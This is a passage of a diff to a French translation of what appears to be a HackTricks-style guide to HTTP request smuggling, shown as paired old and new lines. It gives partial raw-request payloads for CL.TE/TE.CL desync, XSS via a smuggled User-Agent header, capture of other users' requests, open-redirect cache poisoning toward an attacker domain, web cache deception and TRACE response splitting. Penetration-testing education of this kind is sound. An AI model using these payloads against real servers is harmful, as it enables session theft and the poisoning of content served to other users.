* Le serveur front-end traite la requête en fonction de `Transfer-Encoding` et transmet l'intégralité du message.
* Le serveur back-end, s'attendant à un message basé sur `Content-Length`, attend des données supplémentaires qui n'arrivent jamais, provoquant un retard.
### Autres méthodes pour trouver des vulnérabilités
@ -232,13 +238,13 @@ X
* **Utilisation d'outils automatisés :**
* Des outils comme l'extension 'HTTP Request Smuggler' de Burp Suite peuvent tester automatiquement ces vulnérabilités en envoyant diverses formes de requêtes ambiguës et en analysant les réponses.
* **Tests de variance de Content-Length :**
* Envoyer des requêtes avec des valeurs de `Content-Length` variables qui ne correspondent pas à la longueur réelle du contenu et observer comment le serveur gère de telles incohérences.
* Envoyer des requêtes avec des valeurs de `Content-Length` variables qui ne correspondent pas à la longueur de contenu réelle et observer comment le serveur gère de telles incohérences.
* **Tests de variance de Transfer-Encoding :**
* Envoyer des requêtes avec des en-têtes `Transfer-Encoding` obfusqués ou malformés et surveiller comment les serveurs frontal et back-end réagissent différemment à de telles manipulations.
* Envoyer des requêtes avec des en-têtes `Transfer-Encoding` obfusqués ou malformés et surveiller comment les serveurs front-end et back-end répondent différemment à de telles manipulations.
### Test de vulnérabilité de la requête HTTP Smuggling
Après avoir confirmé l'efficacité des techniques de synchronisation, il est crucial de vérifier si les requêtes des clients peuvent être manipulées. Une méthode simple consiste à tenter de falsifier vos requêtes, par exemple, en faisant en sorte qu'une requête vers `/` renvoie une réponse 404. Les exemples `CL.TE` et `TE.CL` discutés précédemment dans [Exemples de base](./#basic-examples) montrent comment falsifier une requête d'un client pour obtenir une réponse 404, malgré le fait que le client cherche à accéder à une ressource différente.
Après avoir confirmé l'efficacité des techniques de synchronisation, il est crucial de vérifier si les requêtes des clients peuvent être manipulées. Une méthode simple consiste à tenter de falsifier vos requêtes, par exemple, en faisant en sorte qu'une requête vers `/` renvoie une réponse 404. Les exemples `CL.TE` et `TE.CL` discutés précédemment dans [Exemples de base](./#basic-examples) montrent comment falsifier une requête du client pour obtenir une réponse 404, malgré le fait que le client cherche à accéder à une ressource différente.
**Considérations clés**
@ -246,8 +252,8 @@ Lors du test des vulnérabilités de la requête smuggling en interférant avec
* **Connexions réseau distinctes :** Les requêtes "d'attaque" et "normales" doivent être envoyées sur des connexions réseau distinctes. Utiliser la même connexion pour les deux ne valide pas la présence de la vulnérabilité.
* **URL et paramètres cohérents :** Essayez d'utiliser des URL et des noms de paramètres identiques pour les deux requêtes. Les applications modernes routent souvent les requêtes vers des serveurs back-end spécifiques en fonction de l'URL et des paramètres. En les faisant correspondre, vous augmentez la probabilité que les deux requêtes soient traitées par le même serveur, une condition préalable à une attaque réussie.
* **Synchronisation et conditions de course :** La requête "normale", destinée à détecter l'interférence de la requête "d'attaque", entre en concurrence avec d'autres requêtes d'application concurrentes. Par conséquent, envoyez la requête "normale" immédiatement après la requête "d'attaque". Les applications chargées peuvent nécessiter plusieurs essais pour confirmer de manière concluante la vulnérabilité.
* **Défis de l'équilibrage de charge :** Les serveurs frontal agissant comme équilibreurs de charge peuvent distribuer les requêtes sur divers systèmes back-end. Si les requêtes "d'attaque" et "normales" se retrouvent sur des systèmes différents, l'attaque échouera. Cet aspect de l'équilibrage de charge peut nécessiter plusieurs tentatives pour confirmer une vulnérabilité.
* **Synchronisation et conditions de course :** La requête "normale", destinée à détecter les interférences de la requête "d'attaque", est en concurrence avec d'autres requêtes d'application concurrentes. Par conséquent, envoyez la requête "normale" immédiatement après la requête "d'attaque". Les applications chargées peuvent nécessiter plusieurs essais pour confirmer de manière concluante la vulnérabilité.
* **Défis de l'équilibrage de charge :** Les serveurs frontaux agissant comme équilibreurs de charge peuvent distribuer les requêtes sur divers systèmes back-end. Si les requêtes "d'attaque" et "normales" se retrouvent sur des systèmes différents, l'attaque échouera. Cet aspect de l'équilibrage de charge peut nécessiter plusieurs tentatives pour confirmer une vulnérabilité.
* **Impact utilisateur non intentionnel :** Si votre attaque affecte involontairement une autre requête utilisateur (pas la requête "normale" que vous avez envoyée pour la détection), cela indique que votre attaque a influencé un autre utilisateur de l'application. Des tests continus pourraient perturber d'autres utilisateurs, exigeant une approche prudente.
## Abus de la requête HTTP Smuggling
@ -293,13 +299,11 @@ a=x
0
```
Inversement, dans l'attaque TE.CL, la requête `POST` initiale utilise `Transfer-Encoding: chunked`, et la requête imbriquée ultérieure est traitée en fonction de l'en-tête `Content-Length`. Tout comme l'attaque CL.TE, le proxy frontal ignore la requête `GET /admin` dissimulée, accordant involontairement l'accès au chemin `/admin` restreint.
### Révéler la réécriture de la requête frontale <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
Les applications utilisent souvent un **serveur frontal** pour modifier les requêtes entrantes avant de les transmettre au serveur back-end. Une modification typique implique l'ajout d'en-têtes, tels que `X-Forwarded-For: <IP du client>`, pour transmettre l'IP du client au serveur back-end. Comprendre ces modifications peut être crucial, car cela pourrait révéler des moyens de **contourner les protections** ou de **découvrir des informations ou des points d'accès dissimulés**.
Les applications utilisent souvent un **serveur frontal** pour modifier les requêtes entrantes avant de les transmettre au serveur back-end. Une modification typique implique l'ajout d'en-têtes, tels que `X-Forwarded-For: <IP du client>`, pour transmettre l'IP du client au back-end. Comprendre ces modifications peut être crucial, car cela pourrait révéler des moyens de **contourner les protections** ou de **découvrir des informations ou des points d'accès dissimulés**.
Pour enquêter sur la manière dont un proxy modifie une requête, localisez un paramètre POST que le back-end renvoie dans la réponse. Ensuite, créez une requête, en utilisant ce paramètre en dernier, similaire à ce qui suit:
Pour enquêter sur la manière dont un proxy modifie une requête, localisez un paramètre POST que le back-end renvoie dans la réponse. Ensuite, créez une requête en utilisant ce paramètre en dernier, similaire à ce qui suit:
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -326,7 +330,7 @@ Cette méthode sert principalement à comprendre les modifications de la requêt
### Capture des requêtes d'autres utilisateurs <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
Il est possible de capturer les requêtes de l'utilisateur suivant en ajoutant une requête spécifique en tant que valeur d'un paramètre lors d'une opération POST. Voici comment cela peut être réalisé :
Il est possible de capturer les requêtes de l'utilisateur suivant en ajoutant une requête spécifique en tant que valeur d'un paramètre lors d'une opération POST. Voici comment cela peut être accompli :
En ajoutant la requête suivante en tant que valeur d'un paramètre, vous pouvez enregistrer la requête du client suivant :
```
@ -361,7 +365,7 @@ Le trafic de requêtes HTTP peut être utilisé pour exploiter les pages web vul
* L'interaction avec les utilisateurs cibles n'est **pas nécessaire**.
* Permet l'exploitation de XSS dans des parties de la requête normalement **inaccessibles**, comme les en-têtes de requête HTTP.
Dans les scénarios où un site web est vulnérable aux XSS réfléchis via l'en-tête User-Agent, la charge utile suivante démontre comment exploiter cette vulnérabilité :
Dans les scénarios où un site web est susceptible aux XSS réfléchis via l'en-tête User-Agent, la charge utile suivante démontre comment exploiter cette vulnérabilité :
```
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
@ -388,16 +392,26 @@ Ce payload est structuré pour exploiter la vulnérabilité en :
2. Enchaînant avec un `0`, marquant la fin du corps du message chunked.
3. Ensuite, une requête `GET` smugglée est introduite, où l'en-tête `User-Agent` est injecté avec un script, `<script>alert(1)</script>`, déclenchant le XSS lorsque le serveur traite cette requête ultérieure.
En manipulant l'en-tête `User-Agent` à travers le smuggling, le payload contourne les contraintes normales de la requête, exploitant ainsi la vulnérabilité XSS réfléchie d'une manière non standard mais efficace.
En manipulant l'en-tête `User-Agent` via le smuggling, le payload contourne les contraintes normales de la requête, exploitant ainsi la vulnérabilité XSS réfléchie d'une manière non standard mais efficace.
### Exploiter les redirections sur site avec le Smuggling de Requêtes HTTP <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
#### HTTP/0.9
{% hint style="danger" %}
Dans le cas où le contenu de l'utilisateur est reflété dans une réponse avec un **`Content-type`** tel que **`text/plain`**, empêchant l'exécution du XSS. Si le serveur prend en charge **HTTP/0.9, il pourrait être possible de contourner cela** !
{% endhint %}
La version HTTP/0.9 était antérieure à la 1.0 et utilise uniquement les verbes **GET** et ne répond pas avec des **en-têtes**, seulement le corps.
Dans [**ce compte rendu**](https://mizu.re/post/twisty-python), cela a été abusé avec un smuggling de requête et un **point d'extrémité vulnérable qui répondra avec l'entrée de l'utilisateur** pour smuggler une requête avec HTTP/0.9. Le paramètre qui sera reflété dans la réponse contenait une **fausse réponse HTTP/1.1 (avec des en-têtes et un corps)** donc la réponse contiendra un code JS exécutable valide avec un `Content-Type` de `text/html`.
### Exploiter les redirections sur site avec le Smuggling de Requête HTTP <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
Les applications redirigent souvent d'une URL à une autre en utilisant le nom d'hôte de l'en-tête `Host` dans l'URL de redirection. C'est courant avec des serveurs web comme Apache et IIS. Par exemple, demander un dossier sans barre oblique finale entraîne une redirection pour inclure la barre oblique :
```
GET /home HTTP/1.1
Host: normal-website.com
```
Résultats en :
Résultats :
```
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
@ -428,13 +442,13 @@ Résultats :
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
```
Dans ce scénario, la demande d'un utilisateur pour un fichier JavaScript est détournée. L'attaquant peut potentiellement compromettre l'utilisateur en lui servant du JavaScript malveillant en réponse.
Dans ce scénario, la demande d'un utilisateur pour un fichier JavaScript est détournée. L'attaquant peut potentiellement compromettre l'utilisateur en fournissant du JavaScript malveillant en réponse.
### Exploitation de l'empoisonnement du cache Web via le détournement de requête HTTP <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
L'empoisonnement du cache Web peut être exécuté si un composant de l'**infrastructure frontale met en cache le contenu**, généralement pour améliorer les performances. En manipulant la réponse du serveur, il est possible de **contaminer le cache**.
L'empoisonnement du cache Web peut être exécuté si une composante de l'**infrastructure frontale met en cache le contenu**, généralement pour améliorer les performances. En manipulant la réponse du serveur, il est possible de **contaminer le cache**.
Précédemment, nous avons observé comment les réponses du serveur pouvaient être modifiées pour renvoyer une erreur 404 (voir [Exemples de base](./#basic-examples)). De la même manière, il est possible de tromper le serveur pour qu'il renvoie le contenu de `/index.html` en réponse à une demande de `/static/include.js`. Par conséquent, le contenu de `/static/include.js` est remplacé dans le cache par celui de `/index.html`, rendant `/static/include.js` inaccessible aux utilisateurs, ce qui peut potentiellement entraîner un déni de service (DoS).
Précédemment, nous avons observé comment les réponses du serveur pouvaient être modifiées pour renvoyer une erreur 404 (voir [Exemples de base](./#basic-examples)). De manière similaire, il est possible de tromper le serveur pour qu'il renvoie le contenu `/index.html` en réponse à une demande pour `/static/include.js`. Par conséquent, le contenu `/static/include.js` est remplacé dans le cache par celui de `/index.html`, rendant `/static/include.js` inaccessible aux utilisateurs, potentiellement entraînant un déni de service (DoS).
Cette technique devient particulièrement puissante si une **vulnérabilité de redirection ouverte** est découverte ou s'il y a une **redirection sur site vers une redirection ouverte**. De telles vulnérabilités peuvent être exploitées pour remplacer le contenu mis en cache de `/static/include.js` par un script sous le contrôle de l'attaquant, permettant essentiellement une attaque généralisée de Cross-Site Scripting (XSS) contre tous les clients demandant le `/static/include.js` mis à jour.
@ -456,17 +470,17 @@ Content-Length: 10
x=1
```
Notez la requête intégrée ciblant `/post/next?postId=3`. Cette requête sera redirigée vers `/post?postId=4`, en utilisant la valeur de l'en-tête **Host** pour déterminer le domaine. En modifiant l'en-tête **Host**, l'attaquant peut rediriger la requête vers son domaine (**redirection sur site vers une redirection ouverte**).
Notez la requête intégrée ciblant `/post/next?postId=3`. Cette requête sera redirigée vers `/post?postId=4`, en utilisant la **valeur de l'en-tête Host** pour déterminer le domaine. En modifiant l'en-tête **Host**, l'attaquant peut rediriger la requête vers son domaine (**redirection sur site vers une redirection ouverte**).
Après un **empoisonnement de socket** réussi, une requête **GET** pour `/static/include.js` doit être initiée. Cette requête sera contaminée par la précédente requête de **redirection sur site vers une redirection ouverte** et récupérera le contenu du script contrôlé par l'attaquant.
Par la suite, toute requête pour `/static/include.js` servira le contenu mis en cache du script de l'attaquant, lançant ainsi efficacement une vaste attaque XSS.
Par la suite, toute requête pour `/static/include.js` servira le contenu mis en cache du script de l'attaquant, lançant ainsi efficacement une large attaque XSS.
### Utilisation du détournement de requête HTTP pour effectuer une tromperie de cache web <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
> **Quelle est la différence entre l'empoisonnement de cache web et la tromperie de cache web ?**
>
> * Dans l'**empoisonnement de cache web**, l'attaquant amène l'application à stocker un contenu malveillant dans le cache, et ce contenu est servi à partir du cache à d'autres utilisateurs de l'application.
> * Dans l'**empoisonnement de cache web**, l'attaquant amène l'application à stocker un contenu malveillant dans le cache, et ce contenu est servi à partir du cache aux autres utilisateurs de l'application.
> * Dans la **tromperie de cache web**, l'attaquant amène l'application à stocker un contenu sensible appartenant à un autre utilisateur dans le cache, puis l'attaquant récupère ce contenu à partir du cache.
L'attaquant crée une requête dissimulée qui récupère un contenu sensible spécifique à l'utilisateur. Considérez l'exemple suivant:
@ -480,17 +494,17 @@ L'attaquant crée une requête dissimulée qui récupère un contenu sensible sp
`GET /private/messages HTTP/1.1`\
`Foo: X`
```
Si cette requête dissimulée empoisonne une entrée de cache destinée à un contenu statique (par exemple, `/someimage.png`), les données sensibles de la victime provenant de `/private/messages` pourraient être mises en cache sous l'entrée de cache du contenu statique. Par conséquent, l'attaquant pourrait potentiellement récupérer ces données sensibles mises en cache.
Si cette requête de contrebande empoisonne une entrée de cache destinée à un contenu statique (par exemple, `/someimage.png`), les données sensibles de la victime provenant de `/private/messages` pourraient être mises en cache sous l'entrée de cache du contenu statique. Par conséquent, l'attaquant pourrait potentiellement récupérer ces données sensibles mises en cache.
### Abus de TRACE via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
### Abus de TRACE via la contrebande de requêtes HTTP <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
[**Dans cet article**](https://portswigger.net/research/trace-desync-attack), il est suggéré que si le serveur a la méthode TRACE activée, il pourrait être possible de l'exploiter avec une HTTP Request Smuggling. Cela est dû au fait que cette méthode reflétera tout en-tête envoyé au serveur en tant que partie du corps de la réponse. Par exemple:
[**Dans cet article**](https://portswigger.net/research/trace-desync-attack), il est suggéré que si le serveur a la méthode TRACE activée, il pourrait être possible de l'exploiter avec une contrebande de requêtes HTTP. Cela est dû au fait que cette méthode reflétera tout en-tête envoyé au serveur en tant que partie du corps de la réponse. Par exemple:
```
TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>
```
Enverra une réponse telle que :
Va envoyer une réponse comme suit :
```
HTTP/1.1 200 OK
Content-Type: message/http
@ -509,7 +523,7 @@ Cette réponse sera envoyée à la prochaine requête sur la connexion, ce qui p
Continuer à suivre [**cet article**](https://portswigger.net/research/trace-desync-attack) suggère une autre façon d'abuser de la méthode TRACE. Comme commenté, en faisant passer une requête HEAD et une requête TRACE, il est possible de **contrôler certaines données réfléchies** dans la réponse à la requête HEAD. La longueur du corps de la requête HEAD est essentiellement indiquée dans l'en-tête Content-Length et est formée par la réponse à la requête TRACE.
Par conséquent, la nouvelle idée serait que, en connaissant ce Content-Length et les données fournies dans la réponse TRACE, il est possible de faire en sorte que la réponse TRACE contienne une réponse HTTP valide après le dernier octet du Content-Length, permettant à un attaquant de contrôler complètement la requête vers la prochaine réponse (qui pourrait être utilisée pour effectuer un empoisonnement de cache).
Par conséquent, la nouvelle idée serait que, en connaissant ce Content-Length et les données données dans la réponse TRACE, il est possible de faire en sorte que la réponse TRACE contienne une réponse HTTP valide après le dernier octet du Content-Length, permettant à un attaquant de contrôler complètement la requête vers la prochaine réponse (qui pourrait être utilisée pour effectuer un empoisonnement de cache).
Exemple:
```
@ -530,7 +544,7 @@ Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
```
Générera ces réponses (notez comment la réponse HEAD a une longueur de contenu faisant du TRACE une partie du corps HEAD et une fois que la longueur de contenu HEAD se termine, une réponse HTTP valide est contrebandée):
Les réponses suivantes seront générées (notez comment la réponse HEAD a une Content-Length rendant la réponse TRACE partie du corps HEAD et une fois que la Content-Length de HEAD se termine, une réponse HTTP valide est contrebandée) :
```
HTTP/1.1 200 OK
Content-Type: text/html
@ -551,7 +565,7 @@ Content-Length: 50
<script>alert(“arbitrary response”)</script>
```
### Armes HTTP Request Smuggling avec désynchronisation des réponses HTTP
### Armes HTTP Request Smuggling avec Désynchronisation des Réponses HTTP
Avez-vous trouvé une vulnérabilité de HTTP Request Smuggling et vous ne savez pas comment l'exploiter ? Essayez cette autre méthode d'exploitation :
@ -559,15 +573,15 @@ Avez-vous trouvé une vulnérabilité de HTTP Request Smuggling et vous ne savez
[http-response-smuggling-desync.md](../http-response-smuggling-desync.md)
{% endcontent-ref %}
### Autres techniques de HTTP Request Smuggling
### Autres Techniques de HTTP Request Smuggling
* HTTP Request Smuggling du navigateur (côté client)
* HTTP Request Smuggling du Navigateur (Côté Client)
{% content-ref url="browser-http-request-smuggling.md" %}
[browser-http-request-smuggling.md](browser-http-request-smuggling.md)
{% endcontent-ref %}
* Smuggling de requêtes dans les downgrades HTTP/2
* Smuggling de Requêtes dans les Déclassements HTTP/2
{% content-ref url="request-smuggling-in-http-2-downgrades.md" %}
[request-smuggling-in-http-2-downgrades.md](request-smuggling-in-http-2-downgrades.md)
@ -667,7 +681,7 @@ table.add(req)
* [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
* [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
* [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Cet outil est un Fuzzer HTTP basé sur la grammaire utile pour trouver des incohérences étranges dans le trafic HTTP.
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Cet outil est un Fuzzer HTTP basé sur la grammaire utile pour trouver des incohérences étranges de trafic de requêtes.
## Références